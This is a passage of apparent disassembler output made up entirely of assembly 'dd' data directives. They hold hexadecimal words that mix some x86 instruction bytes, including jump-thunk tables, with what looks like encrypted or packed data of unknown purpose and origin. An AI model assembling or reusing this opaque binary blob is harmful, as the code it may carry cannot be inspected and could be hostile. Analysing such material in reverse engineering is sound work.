		dd 65F460EDh, 570B80F2h, 28684606h, 0F7664541h,	0F82F60A2h
		dd 272B3A5Bh, 0B1A7B696h, 0E3FECA3Fh, 7CD104A3h, 0A5F21C4Ah
		dd 0CE3B427Ah, 59632067h, 0C29890Ch, 7560BA2Bh
		dd 6499E618h, 0E61874EAh, 800552B3h, 89C31638h,	94396B8h
		dd 12746DA9h, 62E540B5h, 2F6EEC09h, 5F6FEF1Eh, 4CC6E005h
		dd 4CCF8DAFh, 3D776C26h, 0CB000000h, 0EBC8BEA3h, 8E989B7Ah
		dd 0D2666C16h, 192824B5h, 0DBF899F8h, 58E969F7h, 0C130AF39h
		dd 0A8A8941h, 2ADD6E98h, 0C697B508h, 7445A481h,	99F87BDAh
		dd 7BC9874Fh, 0D9715AADh, 0C5000000h, 8D1D6CBDh, 701170C1h
		dd 0C8BDE2E1h, 0A925584Dh, 72109DF7h, 59C2AC13h, 3786C810h
		dd 0B70A4C1Dh, 2F82C495h, 0BFA0BD1Dh, 9EABD44Eh, 95B30810h
		dd 97F645C4h, 0A8D9BE4Dh, 9021109Eh, 0A93C1EBCh, 4B9692A3h
		dd 0FC699C3Bh, 0A5168F78h, 0CC5F4360h, 56E9ED7Ch, 432263F2h
		dd 0EE7FCF5Fh, 0F73725AFh, 0C63794F2h, 1075E02Ch, 0CFF3D035h
		dd 0CEF4D282h, 6CE6177Fh, 350475CDh, 74BCB1D0h,	7979FB2Bh
		dd 1D597B2h, 5510000h, 0FF4F7151h, 0F7496F4Fh, 0FE4D7353h
		dd 0FF4E7452h, 0E9467555h, 0BF1F3584h, 0A7074B99h, 0BC1A2E81h
		dd 0A9094396h, 0D44EBFA0h, 9D16B69Ah, 0E5C2DA84h, 5A717BAh
		dd 9CCD1511h, 109E3142h, 0B82D8A0Bh, 109E315Eh,	0FCDEE627h
		dd 0E1C7E76Dh, 84DEFC50h, 0EBC8BEA3h, 8E989B7Ah, 0D4666C16h
		dd 0CBAAEB7Ah, 888B0B7Ah, 0A8E20A8Ah, 3E2BE913h, 0CF935AADh
		dd 0A7000000h, 197CDDC2h, 8C7F4E84h, 8DBF1244h,	94B9ABCh
		dd 93C2C938h, 2B0F109Eh, 292BB59Dh, 0B87F698h, 0D4109E93h
		dd 0D0F2D0B1h, 617ECF7Dh, 0B2404E76h, 0AC34A692h, 8E2D5990h
		dd 35F8EB1h, 0CC109E6Fh, 95007F49h, 3E168F3Fh, 3EBFDE19h
		dd 0ADCC2A12h, 0B3992C0Eh, 7B5963A2h, 4360263Bh, 4CC1CF5Fh
		dd 0A8B97D2h, 4A1B7A9Bh, 0F757E7CBh, 0A07DF0EDh, 691075F5h
		dd 16A38724h, 2BBAA03Eh, 4FA63429h, 10D779FBh, 0D635h
		dd 54025000h, 4C025476h, 52F84C6Eh, 53FD4E74h, 54004D73h
		dd 83E84776h, 9AC01E36h, 88AA084Ah, 93B51533h, 9FAC0A42h
		dd 9BD14DC0h, 879A16B6h, 51E0C2DBh, 9D33203h, 0FCDA7AC7h
		dd 0E9C983D6h, 0F953E6CCh, 6CBD65EFh, 0DC6D51E0h, 1745370h
		dd 109DB485h, 0D6E8CF4Eh, 0AE23669h, 0BAF6E4ECh, 85F8D7AFh
		dd 16853007h, 0AB595B44h, 2010BEC3h, 7BCA4B98h,	68460657h
		dd 7E5DEF42h, 0C4B22C61h, 1A7B0A83h, 133413D2h,	83C568E2h
		dd 0CFEC310Ah, 83C5449Eh, 40880D0Ah, 2609F2C1h,	0A2175B55h
		dd 0CFEF5DF0h, 0D7F458E9h, 0BD414AF0h, 0BDF9DE6Ah, 489721A5h
		dd 3C9BB506h, 0B889C316h, 0FCD08F59h, 0F849F992h, 1547654h
		dd 0F2466C4Bh, 0F4D19058h, 3, 0BDE17B5Ah, 7254E571h, 0FADC6DDFh
		dd 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h,	2D112030h
		dd 0BC9EAF9Bh, 2215242Ah, 81E38953h, 4C3h, 4EB8100h, 87000000h
		dd 895C241Ch, 85682434h, 8900006Ch, 0DD68242Ch,	89000011h
		dd 0EABD2414h, 56342C71h, 1393F7BEh, 5EF5292Eh,	0D8368h
		dd 24248900h, 4240483h,	8B8505Ah, 2D000000h, 3C7B522Dh
		dd 2D05D001h, 893C7B52h, 148B5828h, 0E0895024h,	405h, 40500h
		dd 4870000h, 34FF5C24h,	0C4815D24h, 4, 0FA985BE9h, 0D0F20DFFh
		dd 16EC3974h, 0B8CE11F6h, 618E88Eh, 0E0FFC503h,	8413A0h
		dd 3ECE879Eh, 3964C695h, 52B861B9h, 392A589Ch, 0EA168D8Dh
		dd 0BD8B0618h, 6133181h, 1BBD8D89h, 6A0613h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 97FFEDC3h
		dd 5C797D11h, 28C1858Bh, 85C70613h, 61318DDh, 72F0h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0AC35242h, 0EF3E478Fh
		dd 48E0FD4h, 66000000h,	0C74BD7BFh, 13305585h, 6, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 81664C56h, 0FF9157D8h, 131B65B5h, 7EB86606h,	8995FF93h
		dd 6A06131Dh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 1EA6C355h, 0D917DE4Dh,	0E92316B3h
		dd 0Dh,	0D772FDDh, 0AD8936A4h, 6A0C2474h, 0FF006A5Dh, 130DA995h
		dd 0EBC08B06h, 5D8A2049h, 9D7C59F8h, 0BD305FA2h, 869FD9BBh
		dd 0E5C09FC3h, 81047C6Ah, 0A622E3E0h, 0E92DE624h, 7FBC4B97h
		dd 2E1905DFh, 0C60B6867h, 0BDF6AA4Fh, 0AAEEEC51h, 0D67B2BAFh
		dd 72D7CB71h, 75743C53h, 0EFF6FC5Bh, 1DAAC45Ch,	20E947FFh
		dd 35000000h, 5238F0h, 6 dup(0)
		dd 0E9000000h, 58Ch, 7757FF4Bh,	6D4D0151h, 7151F94Bh, 7250004Fh
		dd 73530150h, 2F7EEF40h, 15A38525h, 28BB9D3Dh, 0DA08220h
		dd 8DD29F3Fh, 0B69EFE58h, 6D52C716h, 0E6C42A42h, 0EAF23CE8h
		dd 4FE0C270h, 4495B701h, 0C8153908h, 0B90C2E8Ch, 2D80C293h
		dd 0BA0C4E1Fh, 0E012C594h, 6026B76Bh, 0FF179B05h, 8A6C716h
		dd 0D6B10327h, 1EA6C781h, 2A1A73Ch, 0BAAD521Dh,	6A721960h
		dd 91F1466Ch, 527B1B8Dh, 54E584F4h, 5370E272h, 0DE6FDF6Fh
		dd 71ED20BFh, 3A109DD2h, 7E5211DBh, 78CB7714h, 7DD0F2D0h
		dd 8E0F7ECFh, 7109DD1h,	0EB5DF2D8h, 0D23D99CCh,	8706109Dh
		dd 1636D33Dh, 0A341F746h, 97EEh, 6CBD5400h, 507251E0h
		dd 0FA895301h, 109DB49Eh, 72E3C413h, 109DB518h,	0EE1FBCE1h
		dd 109DB574h, 7610D83Dh, 0EA19D705h, 1C1A341h, 95000000h
		dd 50E16DBDh, 5572DC6Eh, 52005072h, 77D38203h, 40109DB5h
		dd 725413DDh, 6A506FE1h, 65F9ADD5h, 0A4922A1Fh,	0FB6CFBC5h
		dd 6D550277h, 0BFDE6FDBh, 0F8932335h, 6F54E563h, 30B6D662h
		dd 0D4FB9AC1h, 5373E399h, 0B51273CDh, 42133F8Dh, 252DFC3h
		dd 0CC0AD233h, 0D979C7EBh, 8DBF0988h, 50FC4D3Ch, 891E8001h
		dd 6200DEBFh, 55E470BDh, 0DC6DE171h, 55E466FAh,	0E170E471h
		dd 0AB57F4DEh, 0E627361Eh, 58F15F87h, 9A391BAAh, 8A2927B8h
		dd 9DB4FF5Bh, 7B45C810h, 62EA7B5Dh, 0C0CA5D45h,	9DB4D14Dh
		dd 1A7B9A10h, 9D2F13D2h, 0D179CBEFh, 9DB526A0h,	0CFAEEF10h
		dd 7F5CC7F0h, 8DDC74C3h, 0A701A70Ch, 0C998B206h, 409F2948h
		dd 0C9183A19h, 3095BA8Bh, 23ADE8A3h, 28C5435h, 95856389h
		dd 702DA341h, 11000000h, 1670E5C2h, 0DF109DB5h,	952436BEh
		dd 18ACAEBFh, 42B02332h, 88CC19C9h, 9BB9082Ah, 193788CAh
		dd 54E52148h, 0F55184A3h, 29109DB4h, 60A5B296h,	0E8200058h
		dd 0E5C2A341h, 0A01E74BAh, 0BEAF9B17h, 109EAB64h, 0AAEE689Dh
		dd 56B7109Eh, 0DA6EC109h, 616B0A8Bh, 323Ah, 70BD2000h
		dd 0DE7155E4h, 0D2654D6Ah, 0DCFF6E76h, 408D45B6h, 0BD1CB614h
		dd 2150E16Dh, 109DB4A0h, 54E4C619h, 1F9CF6FEh, 41EA3FFDh
		dd 1A7A3h, 0BDBB0000h, 4C8EDF6Bh, 0CE0253F9h, 0E97B27A4h
		dd 1C454161h, 0D2654D6Ah, 55E3E776h, 4C2D6CFDh,	52785784h
		dd 9BFA4BFDh, 0B1E3B251h, 7194168Eh, 14BDEE0h, 5B2E7FA1h
		dd 93F2430Bh, 9DAC9C2Fh, 0F4C1D7Ch, 64F39E2Bh, 5D3C5DECh
		dd 0C4438D0Ch, 0A8AB048h, 0CF781181h, 0B0217DF0h, 0ABEA0A8Ah
		dd 0AE9E2F21h, 0B5972A10h, 3D0FA2A4h, 4FEC662Ch, 9C3A12A3h
		dd 0AD117040h, 14FD85Ah, 0C27E0000h, 0B51670E5h, 0BEDF109Dh
		dd 0A7DF0A36h, 0BC8E2208h, 73B62734h, 0C168EBCh, 4396B889h
		dd 3687A909h, 22084716h, 4E70C193h, 9FFE4FF9h, 51E4F6FEh
		dd 0D3686AFBh, 4FE2E475h, 77FB6CFDh, 73A44D02h,	0EBFBDB6Ch
		dd 55E6648Ah, 0FBA37DA2h, 15D7B169h, 1D2C20B1h,	4FE2F4FCh
		dd 0B785DDFDh, 1F5AADD3h, 59h, 51DDC243h, 1979B7E2h, 45B5761h
		dd 5C7E617Eh, 96F7460Ch, 7F43BF4Eh, 0B4C6F62h, 9DE880DAh
		dd 291FB490h, 86D7FB1Ah, 6796A7C6h, 909DE7EBh, 420683EDh
		dd 0F46E9F25h, 0BD909DE7h, 6BE57658h, 0FDDABBDAh, 627EEE88h
		dd 0F64367EFh, 468E0F5Eh, 6B4664A9h, 91h, 4BE0C2C7h, 0C8A9AB3Ah
		dd 6AFB55E6h, 4C95A12Bh, 0D766E677h, 85F8D7B6h,	168EA178h
		dd 2E2D3C61h, 11C40E09h, 5DBC8DC1h, 88B43E76h, 0A9B89226h
		dd 0DB6E6068h, 0DE6F5171h, 2DAEDF6Eh, 6E0A8A92h, 0AA3BE764h
		dd 8F1D05A2h, 0DBDBF9C3h, 32A30086h, 10723B3Bh,	183286ACh
		dd 6300C849h, 9E2F1322h, 94C99FAEh, 4C85C0ABh, 7B452895h
		dd 0B9B07811h, 10C9EECDh, 2FDF095h, 0F1CE0BD5h,	89D87CC9h
		dd 3657F345h, 0C50F4594h, 58792F46h, 0CDED300Ah, 0C8BEA373h
		dd 3EE3CCEBh, 2847DA19h, 0BBB2519Bh, 2C168614h,	8600B03h
		dd 9F3097B5h, 40AD3791h, 6B4F8CDDh, 686A72DAh, 291FB4D5h
		dd 3A98F918h, 91DC321Dh, 6D246538h, 6CE07163h, 6CDCACDDh
		dd 28BC3EA5h, 0A12F1322h, 0E26A36EBh, 4D2C73AAh, 92276BFCh
		dd 8BAF90A3h, 3FC9133Bh, 87C518CAh, 9CB00127h, 503A89CDh
		dd 942AEADAh, 6CCA80C2h, 869A9B00h, 0E8FC4D2Ch,	0CC5D15A6h
		dd 0AD002280h, 0A991CE9Fh, 0E2233216h, 11FFDAh,	0F7E00000h
		dd 38749190h, 0C981D30Ch, 70781978h, 0BDE17BE6h, 7254E571h
		dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h
		dd 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E78957h,	4C7h, 4BE5600h
		dd 29000000h, 3C875EF7h, 89525C24h, 4C281E2h, 83000000h
		dd 148704EAh, 1C895C24h, 0E7895724h, 4C781h, 0EF830000h
		dd 243C8704h, 243C895Ch, 18EA8E68h, 241C8B06h, 4C481h
		dd 0EC830000h, 24248904h, 4240483h, 3481535Fh, 36100B24h
		dd 8478F37h, 100BBE56h,	77313736h, 3C8B5E08h, 0E0895024h
		dd 405h, 40500h, 4870000h, 1C8B5C24h, 0E2895224h, 4C281h
		dd 0C2830000h, 24148704h, 9156E95Ch, 0EDD7FFFAh, 0DA3D931Ah
		dd 4D1D4049h, 0E757545Bh, 18EF76B8h, 0FFC50306h, 6F1FCDE0h
		dd 37F27206h, 0ADAEE17Eh, 795F6351h, 923DBF64h,	1843553Fh
		dd 0A4203865h, 99B55425h, 0A8E75233h, 38A04F5Ch, 0D8408607h
		dd 0EDF8F317h, 0D380B209h, 0AD313E17h, 0EF1F2C63h, 0A69B24h
		dd 0E5D8F26Ch, 28D11E2Dh, 0B432E105h, 366B5749h, 0A34EA63h
		dd 0DF2450Fh, 93E60E44h, 1E6BC877h, 4ACE5F4Bh, 48F00676h
		dd 0FAD65D46h, 3F6C5C11h, 0B31FD24Ah, 637A1534h, 11E863h
		dd 3DEB0000h, 0BE217022h, 0C3E95150h, 451C26E8h, 0FDE0BC0h
		dd 28Ch, 58CF8B00h, 81DABF0Fh, 5AE0C0h,	2719BF00h, 0F781131Bh
		dd 131B3180h, 0B1308BFCh, 64EE819Ch, 8174477Ah,	52A5E6DAh
		dd 19C6810Ch, 0E84C46FCh, 7, 52260626h,	0F542239h, 84h
		dd 0C6815900h, 74994BAFh, 0CFF38166h, 0BF0F56FCh, 66008FD6h
		dd 24F5CB81h, 6603E883h, 4892A0BAh, 850F4FFCh, 0FFFFFFB1h
		dd 8D8DD78Bh, 618F19Fh,	89F7BF0Fh, 131BBD8Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 2DE624A6h, 0DD85C7E9h, 8C061318h, 66000059h,	85C7D98Bh
		dd 6133055h, 0
		dd 6BDB501h, 0B5FF0613h, 61320B9h, 6E9h, 76C9F900h, 0FF95474Ch
		dd 131D8995h, 10E906h, 7ABE0000h, 0AEDBA021h, 77F1C840h
		dd 0F670412Fh, 6AA1FBh,	0DA995FFh, 0C08B0613h, 2D592FEBh
		dd 1ADF0E52h, 0C7587ADh, 629A0D65h, 69A6111Eh, 91AAD0C8h
		dd 0DE5B9F44h, 32FF62D5h, 0AFF27224h, 0E2BAC803h, 3364E10Dh
		dd 0AA51537Dh, 5E818h, 0BA290000h, 0F086049h, 985h, 38C0F00h
		dd 0F000000h, 815BD1BFh, 6FDEC3h, 0BFFCB200h, 0
		dd 6859DA81h, 0C8B2D18h, 810F523Bh, 1, 0C1815EF9h, 13FBB23Eh
		dd 9E956h, 0CFFB0000h, 1995FE47h, 5E2DEC9Eh, 231C181h
		dd 10E80499h, 2000000h,	31452F7Bh, 0E4237F30h, 823285D7h
		dd 234F1D7Ah, 130D05B5h, 0F1815806h, 8BCF7DBh, 0AE860h
		dd 0C71B0000h, 239B6B68h, 69A70DA0h, 0B5B503h, 0F9580613h
		dd 95895161h, 613221Dh,	663B048Fh, 0B529D18Bh, 613211Dh
		dd 0C413EF81h, 0B70F1FA2h, 0FC781C7h, 661FA2C4h, 0FF81C18Bh
		dd 0FFFF9104h, 10850Fh,	0E9F90000h, 24h, 30D574DCh, 4AD8DD13h
		dd 0BF0F5E4Eh, 0FF54E9F1h, 0D43DFFFFh, 0F917793h, 294055B7h
		dd 9821B3Ah, 542EB427h,	0E1E9h,	0D9843500h, 459CD706h
		dd 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h, 0ABDA00B3h
		dd 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh
		dd 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch
		dd 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh
		dd 52D0008Ah, 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h
		dd 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h
		dd 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h
		dd 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh, 43F1B6D0h
		dd 0F0A8CDh, 0
		dd 129D7447h, 5E99E0E3h, 0Ah dup(0)
		dd 13E90000h, 68000015h, 618F5E6h, 0FA8DAFE9h, 0F6EC68FFh
		dd 0A5E90618h, 68FFFA8Dh, 618F7FBh, 0FA8D9BE9h,	0F95A68FFh
		dd 91E90618h, 68FFFA8Dh, 618F9BAh, 0FA8D87E9h, 0FA7F68FFh
		dd 7DE90618h, 68FFFA8Dh, 618FB37h, 0FA8D73E9h, 0FBE668FFh
		dd 69E90618h, 68FFFA8Dh, 618FCADh, 0FA8D5FE9h, 0FDB768FFh
		dd 55E90618h, 68FFFA8Dh, 618FE9Eh, 0FA8D4BE9h, 0FFE068FFh
		dd 41E90618h, 68FFFA8Dh, 61900C8h, 0FA8D37E9h, 1ED68FFh
		dd 2DE90619h, 68FFFA8Dh, 6190378h, 0FA8D23E9h, 52968FFh
		dd 19E90619h, 68FFFA8Dh, 6190624h, 0FA8D0FE9h, 94C210FFh
		dd 8CC21436h, 92B80C2Eh, 93BD0E34h, 94C00D33h, 0C3280736h
		dd 0DA00DE76h, 0C8EAC88Ah, 0D3F5D573h, 0DFECCA82h, 0A9118D00h
		dd 0C7DA16B6h, 51E0C29Bh, 4697B903h, 6E9FF543h,	109DB4F4h
		dd 583958BDh, 4A0A577Bh, 4EDFE382h, 89E0E0FEh, 8C01DEFDh
		dd 109DB512h, 737DF4DBh, 3FC59797h, 1449965Eh, 168F2DD9h
		dd 0E3122362h, 0A8B2A63h, 2E3F0F9Fh, 0FB3992Ch,	0D5BD8CBCh
		dd 0ED7BE3Bh, 335AE9D1h, 7E9FAEA6h, 0B70C4E1Fh,	2041C091h
		dd 0AFDD6E98h, 5AAC93E1h, 6149h, 0BEA3ED00h, 0D48D3802h
		dd 0DB0A470Ah, 109E0F7Fh, 0FFA4C548h, 36D1683Fh, 0EECDAC79h
		dd 8F809E7Fh, 912E6F16h, 70E33FAEh, 8D140A8Bh, 5351874Bh
		dd 21ABEA79h, 0A9D85C2h, 0E6EE2F3Eh, 8B7E27A7h,	7ED6630Ah
		dd 0F55DEBEFh, 97349E64h, 123827AEh, 5EBF8EC0h,	5D7FFC96h
		dd 5AAC239Fh, 0E647h, 6CBD1B00h, 0E06D51E0h, 1B2A1EB1h
		dd 88CA9BFAh, 97B81735h, 9DB4EC66h, 0C3912010h,	18C71174h
		dd 53E6A336h, 0D46668F9h, 5C7A1B7Ah, 7DBC547Bh,	9450E54h
		dd 44C594B8h, 0FB578625h, 0C4109E3Ch, 74087741h, 0E1109E38h
		dd 38138FFEh, 0B9DC109Eh, 0C08C1D2Fh, 4CA1BCE3h, 4B70DA6Eh
		dd 0E3ED67DDh, 0CA82D3F5h, 0A4243D7Bh, 9DD9D531h, 1E7F9E10h
		dd 0DF494CC1h, 0E322168Eh, 0E89EC3C3h, 35B79ACBh, 0D901075h
		dd 173D8CAEh, 104491B7h, 0FA571D5Dh, 0C29F4E79h, 11F7h
		dd 9F3F17A3h, 852529B9h, 993911A3h, 8A2828B7h, 9B3B19A8h
		dd 0D76687A8h, 0ED7B5D7Dh, 0D0634565h, 0E5785A78h, 557A4767h
		dd 0B6A9A620h, 83A6F16h, 0C7E470BDh, 0CC5FCE0h,	0B4088BFBh
		dd 0EFEDF796h, 0C31178C9h, 0E9D1EE8Fh, 2869F85Ch, 0A318B2A0h
		dd 0CCEBC8BEh, 0D7FB55E6h, 8DFCC484h, 168E988Ch, 0FA56E5CDh
		dd 45A22A6Bh, 91C4E3C0h, 0A8A8935h, 0C68CDCFEh,	3FCE1DA7h
		dd 0A8A88DFh, 0B081C91Bh, 0FD523F8Eh, 0FA9BFA4Bh, 0D16A686Bh
		dd 3E36CA1Eh, 0B8D97DFDh, 3864D531h, 5AADA578h,	0A7A5381Ah
		dd 569EB603h, 0A8CFh, 6CBD7300h, 0E06D51E0h, 2094E574h
		dd 88109DB1h, 91B71735h, 0FF3D0C40h, 0C589D9EAh, 57741574h
		dd 8EB52326h, 3999FC16h, 5A2E4FDh, 7500DED0h, 19B6D710h
		dd 83F2A431h, 474FC07h,	0DC694DD0h, 98BA1978h, 0D7360745h
		dd 0CCEECF0Dh, 0CA0CD47Ah, 60A4D97Bh, 7D79FA30h, 10F1F3EEh
		dd 1DA90000h, 27B79939h, 0FA18727h, 26B59B3Bh, 17A68C2Ah
		dd 81AE9D3Dh, 5777DD6Ch, 4F6FE371h, 5472D669h, 5171DB6Eh
		dd 0BC164788h, 8516B6AAh, 70BD320Ch, 54E3C7E4h,	0C9E6F4FCh
		dd 0CF3E50E1h, 109DB553h, 5098F91Ch, 1A1ABFEh, 4BE0C2A7h
		dd 50E1F3FDh, 0D8696DFCh, 0E5735774h, 33BDDC6Dh, 99B10325h
		dd 563386C8h, 0F5684701h, 109DB499h, 64422362h,	2940593Ah
		dd 6E0F7E5Dh, 7F168EA5h, 0F1A70F58h, 8A2CD9B6h,	91721335h
		dd 4489DFCh, 16AABFE1h,	62CE254Ah, 5F6CB6D7h, 6D4075B0h
		dd 1F4E6D0Ch, 18F0FBA2h, 4DC93C1Bh, 160CECE5h, 29A5D8F7h
		dd 0F20CECE5h, 799C4993h, 99CCEBE8h, 0CECE53Dh,	0DE6FE371h
		dd 636DB0BFh, 57741257h, 0DAF8D926h, 0E8C74612h, 8FDE70C2h
		dd 0BAD95A48h, 5031789Dh, 0D6674B88h, 7765976h,	6D6888Bh
		dd 0A9A73154h, 3711A68Ch, 0FBDDE726h, 5E901C6Ah, 6F2E6778h
		dd 17175B0Eh, 89207C5Bh, 0FE24Ch, 2C2AB800h, 341AAC8Eh
		dd 2A20B496h, 3B15A68Ch, 2C28B59Bh, 7B909F8Eh, 624866EEh
		dd 2280D2h, 1B3D9DABh, 172482CAh, 0AC49C538h, 0FF1216B6h
		dd 0E06CBD63h, 90D2DCC3h, 3F30D03Ah, 0B80061F1h, 0B0D60B29h
		dd 6DBE213h, 62C168Fh, 48C998B2h, 71E4E380h, 0A8B0415h
		dd 1DEBFDEh, 77C68AD9h,	9090CE16h, 0B18E2D59h, 4035F8Eh
		dd 49CC0A8Bh, 0EFD5007Fh, 4C6E107Bh, 0DA8751F7h, 0FB5BAABBh
		dd 520477EEh, 0B39443B8h, 77EEC842h, 0C40C9104h, 9BD05C1Ch
		dd 0CA1C3E50h, 0DDC81F84h, 8DAB3D3Ch, 45DC43h, 0A3820000h
		dd 0CCEBC8BEh, 0B5207AEBh, 0A4E9109Dh, 0FBF8ED1Ch, 3921168Eh
		dd 0CD1AA2A6h, 0F4476B48h, 89077654h, 0C10A8A65h, 0D8FFDC70h
		dd 6B263BE6h, 6F6D771Fh, 352F649h, 0F02C6h, 0D8BEE900h
		dd 86E92CE3h, 0A365EFF9h, 7AEBC8BEh, 1685488Eh,	0D4735C7Bh
		dd 288530A1h, 68B22C5Dh, 1A7B0A85h, 0D4735C7Bh,	9CE30D6h
		dd 0BB9FBC04h, 0A384222Ah, 47F55184h, 5FBE0A85h, 5860E87Bh
		dd 0D869E376h, 0A20185DCh, 6CD99833h, 1BB8DD10h, 88C2163Ch
		dd 0B4795B9h, 0DD70626Ah, 0D8694F6Fh, 0B8B864AEh, 8EEFE0E7h
		dd 1E6881BFh, 95114CC1h, 3B5A0A5Ch, 0DDC8D646h,	815C0B73h
		dd 0E83h, 2B8BCB17h, 3999B505h,	2585C517h, 3E9CB403h, 2787CD1Ch
		dd 83D23BF4h, 81CFF1D1h, 7CCFF1D1h, 79CCEECCh, 0E9E6F3D3h
		dd 0B6AE1A74h, 94AEE316h, 9DB51270h, 592D3410h,	46580B7Ah
		dd 88D1685h, 163687ABh,	0D3F92B8h, 9DE9003Ch, 0B3C6CF3Eh
		dd 66A71075h, 0F6E493F3h, 0D8F5B479h, 0E23h, 4B6BEB77h
		dd 5979D565h, 4565E577h, 5E7CD463h, 4767ED7Ch, 23B2DB54h
		dd 21AF9131h, 1CAF9131h, 19AC8E2Ch, 89C69333h, 0B6ADFA54h
		dd 0F44EC316h, 14FE0C2h, 84495B7h, 0C2C41539h, 2B871D89h
		dd 83D2B3D2h, 0E6775B7Ch, 2EB6D766h, 9AC067E4h,	63F14045h
		dd 5222BA02h, 0FAA341A9h, 890h,	0FDDC260h, 279AF514h, 5D84B038h
		dd 0D75B8A29h, 0F016857Bh, 0E90027E7h, 75E80E20h, 0A850419h
		dd 0A3C2A3E2h, 0C18B1E04h, 4DDEC4E1h, 9D33203h,	0F9D676C7h
		dd 0BC0B82D1h, 7CEBF594h, 85038D0Dh, 0CCBAAF0Ah, 0D37BCBEFh
		dd 0E6EE5EEFh, 0F57D84F9h, 0ECCE1075h, 7CE9F359h, 27086419h
		dd 561579F7h, 0D5E7Bh, 0A8AE3C00h, 0B896280Ah, 0A6A4381Ah
		dd 0BF912208h, 0A8AC391Fh, 0F7141B0Ah, 0E6CCEA6Ah, 0FCDEFC56h
		dd 0DFC1E167h, 13E0FE4Eh, 0AF3D99CCh, 930616B6h, 0E06CBDAFh
		dd 20557251h, 109DB4A6h, 0B4A62E6Fh, 751A2B21h,	783864D5h
		dd 0E0A341E6h, 7DCh, 0B5127076h, 6F53109Dh, 2E1EAFE2h
		dd 3039854Fh, 0A2047956h, 3B168547h, 0ABDAFDDAh, 0A84C12Fh
		dd 2CA6D7F8h, 0F50A84C1h, 0EAE7F190h, 0F7D775C8h, 310E80D1h
		dd 84C162BCh, 7BEA2B0Ah, 0A84C11Fh, 75C4A5E8h, 43913237h
		dd 0BEDF3E0Fh, 6D193E21h, 4A77AB86h, 272E5D67h,	8107638h
		dd 6946D085h, 0E87F79F7h, 0CA6EDh, 0F066F400h, 0F05EF0D2h
		dd 0EE5CF0D2h, 0F759EAD0h, 0F064F1D7h, 1F4CE3D2h, 0BEE4C292h
		dd 0E4C6E46Eh, 0F7D9F94Fh, 0FBC8E666h, 0B025A1D4h, 0BBEE16B6h
		dd 0E06CBD87h, 70DC6D51h, 0F4CF6C53h, 44C49E39h, 0AC26ED7Ch
		dd 7E2FED0Fh, 2597A341h, 28000007h, 559FB102h, 0C8BEA38Bh
		dd 484B7AEBh, 96BC1685h, 0DA3B0A44h, 5BEA68F8h,	567C5B3Ah
		dd 435D8303h, 0BC5957B7h, 22432228h, 410B9E84h,	61EF4062h
		dd 0B827B1D0h, 0BCCEB49Bh, 994A2D46h, 0BC52B04Fh, 0AF930A84h
		dd 0E1203121h, 86DBD7h,	0AD4B32A3h, 0E92C1075h,	0F6DDEC74h
		dd 7F5A1179h, 0BF7h, 9F3F17A3h,	852529B9h, 993911A3h, 8A2828B7h
		dd 9B3B19A8h, 0D76687A8h, 0ED7B5D7Dh, 0D0634565h, 0E5785A78h
		dd 557A4767h, 0B6AFA620h, 83A6F16h, 51E06CBDh, 8BFF5072h
		dd 72CADD3Eh, 340564CDh, 0BA8BBD12h, 0A0B23A5Bh, 692E3F0Dh
		dd 6C2C50E9h, 0EA34135h, 0A4626429h, 8BCC2134h,	71D5759Dh
		dd 0D14890F1h, 65Ch, 1F6BC0E2h,	9EA474EEh, 0B9D83D10h
		dd 1570A52Fh, 2F109DB5h, 1337893Ah, 5A2C342h, 854880D0h
		dd 2E7DA516h, 0C84D9A22h, 0C7EBCCEBh, 2FABDA7Ah, 0F80A84C2h
		dd 0B8094B95h, 0C1143694h, 637EBA8Bh, 0B180CE60h, 0B5923150h
		dd 0C8103C8Dh, 75BCDC39h, 0ED60A510h, 79F6DA7Dh, 3002DF8Eh
		dd 6A00000Bh, 765C7ADCh, 664C6AE4h, 785A78D2h, 674969E7h
		dd 695C7ADAh, 3C18A5C6h, 262CBC9Eh, 3B0DA288h, 2824B59Bh
		dd 6F9EC18Ah, 16B6B0F3h, 0BDF965BCh, 6D51E06Ch,	19E170DCh
		dd 0D5681AAFh, 3DFB5777h, 0A5A341EAh, 120h, 0E06CBDB9h
		dd 0B2DC6D51h, 9DB4C743h, 6C0D9010h, 6F17524Eh,	0A2E01D50h
		dd 0EED9168Eh, 0EDB0625Ch, 0BB8D22A8h, 0C20A6BAAh, 2051E025h
		dd 0A8AA8A2h, 74F5DAF9h, 43668CA9h, 0A9226C74h,	0AD6BB583h
		dd 0E173575Ah, 2FB9D869h, 20E8h, 0BEA34E00h, 9B7AEBC8h
		dd 6C168E98h, 69E91829h, 0C00A8A89h, 0C987B546h, 715AAD3Eh
		dd 9Eh,	69DDC2C5h, 9D3EAF22h, 0ABFE5098h, 1FAE90A1h, 8F222435h
		dd 0AD3C1EBDh, 8CCE1DA7h, 40B31339h, 109DCFBCh,	3B9BB104h
		dd 3A0E6FBh, 88175ED2h,	9D3A5B16h, 0E16628B5h, 0A963270Ah
		dd 85AD0A6Bh, 0C6471632h, 6BFAE0FEh, 1DC074E9h,	6EFD800Dh
		dd 0A2673h, 70E67400h, 70DE7052h, 6EDC7052h, 77D96A50h
		dd 70E47157h, 9FCC6352h, 3E644212h, 644664EEh, 775979CFh
		dd 7B4866E6h, 0B1A52154h, 3B6E16B6h, 0E470BD07h, 72C1E9C6h
		dd 0C60E8FDEh, 0AC0B4194h, 0BCC1183h, 0E2EADFF8h, 6CBD56F4h
